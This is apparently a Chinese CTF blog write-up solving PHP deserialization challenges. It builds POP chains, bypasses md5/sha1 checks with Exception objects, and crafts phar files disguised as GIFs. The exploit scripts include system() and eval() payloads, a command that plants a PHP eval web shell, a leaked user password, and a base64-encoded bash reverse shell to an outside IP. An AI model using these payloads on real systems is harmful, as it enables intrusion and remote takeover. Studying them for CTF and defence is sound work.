<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>
关键点:
Rose里的__invoke方法中的绕过
https://mayi077.gitee.io/2020/08/14/%E5%88%A9%E7%94%A8-Exception%E7%B1%BB-%E7%BB%95%E8%BF%87md5-sha1-%E7%AD%89%E7%B3%BB%E5%88%97/
采用exception绕过所以这段的payload
$cmd ='system("cat /flag");?>';
$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
可以看到跳到eval函数时,开了一个eval.php。但是是Exception的语句,所以要执行system必须要闭合,根据博客中的测试
eval("单词开头: echo 1234;")还是能正常执行
解决了这个问题,就剩下pop链的构造
回顾下知识
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性,除了private,未定义的也可以触发
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
下面这一行中,如果我们反序列化构造一个数组,其中adapter设置为一个类,那么就可以触发这个类的__toString()方法。
可以看到Love的__call函数中call_user_func调用了函数。要触发__call是在上下文中调用了不可访问的方法,下面的action方法为private,所以只要其他类调用action方法,则会触发。
Titanic类中__destruct方法,调用了action,差不多就构造pop链了
$l = new Love();
$t = new Titanic();
$r = new Rose();
$j = new Jack();
$cmd ='system("whoami");?>';
$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
$r ->var1 = $ex1;
$r ->var2 = $ex2;
$l ->var = $r;
//触发__call,需要调用方法,但是因为Jack的a,b在序列化的时候,我们无法控制,所以需要Titanic,jack中$b是love,$a写死是action
$t -> people = $j;
$t -> ship = $l;
echo(urlencode(serialize($t)));
完事儿
首页一个上传,一个检测是否上传
上传仅能支持上传gif,check会检测文件是否存在,应该使用了file_exists()函数。
已知:PHP带有很多内置URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
考虑从check那里,进行了伪协议。
综合考虑,通过phar去构造一个phar文件,然后利用phar协议去触发反序列化
pop思路:
Test->f =" Read::file_get ", 反序列化触发wake_up(),$func = "Read::file_get",然后$func(),当作函数执行,调用Read的public 的file_get,从而输出源码,构造pop链
<?php
class Read{
public $name;
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$a = "Read::file_get";
$object2 = new Test($a);
$phar -> setMetadata($object2);
$phar -> stopBuffering();
?>
生成的phar.phar后缀改为.gif进行上传,随后在check那去读
base64解码
<?php
error_reporting(0);
class Modifier{
public $old_id;
public $new_id;
public $p_id;
public function __construct(){
$this->old_id = "1";
$this->new_id = "0";
$this->p_id = "1";
}
public function __get($value){
$new_id = $value;
$this->old_id = random_bytes(16);
if($this->old_id===$this->new_id){
system($this->p_id);
}
}
}
class Read{
public function file_get()
{
$text = base64_encode(file_get_contents("lib.php"));
echo $text;
}
}
class Files{
public $filename;
public function __construct($filename){
$this->filename = $this->FilesWaf($filename);
}
public function __wakeup(){
$this->FilesWaf($this->filename);
}
public function __toString(){
return $this->filename;
}
public function __destruct(){
echo "Your file is ".$this->FilesWaf($this->filename).".</br>";
}
public function FilesWaf($name){
if(stristr($name, "/")!==False){
return "index.php";
}
return $name;
}
}
class Test{
public $f;
public function __construct($value){
$this->f = $value;
}
public function __wakeup()
{
$func = $this->f;
$func();
}
}
class User{
public $name;
public $profile;
public function __construct($name){
$this->name = $this->UserWaf($name);
$this->profile = "I am admin.";
}
public function __wakeup(){
$this->UserWaf($this->name);
}
public function __toString(){
return $this->profile->name;
}
public function __destruct(){
echo "Hello ".$this->UserWaf($this->name).".</br>";
}
public function UserWaf($name){
if(strlen($name)>10){
return "admin";
}
if(!preg_match("/[a-f0-9]/iu",$name)){
return "admin";
}
return $name;
}
}
首先关注Modifier的__get存在system,要求$this->old_id===$this->new_id,那么用地址引用即可,想要调用__get,就得通过User的__toString方法中的$this->profile->name进行触发,__toString需要UserWaf()方法,当到strlen()函数时,会把$name当作字符串
所以,pop的思路
User->destruct 到 User->UserWaf中,User里的name是新的User对象,触发 User->toString,此时是到了新的User对象里了
toString的profile是Modifier,触发Modifier->get
写shell
$p = new Modifier();
$p -> old_id = &$p -> new_id ;
$p -> p_id = 'echo "<?php eval(\$_POST[abc]);?>'"> /var/www/html/shell.php';
$u = new User('1234');
$u -> profile = $p;
$u1 = new User('1234');
$u1 -> name = $u;
剩下依旧
$phar = new Phar('phar.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$phar -> setMetadata($u1);
$phar -> stopBuffering();
/home/flag无读权限,跟目录存在可执行文件game,提示存在flag用户,密码为90a3f46888b32b4b1b104208957be421
bash反弹shell
bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDguMTkxLjIxLzkwOTAgMD4mMQ==}|{base64,-d}|{bash,-i}'
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/272/
最后修改时间:2021-06-15 21:22:55
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!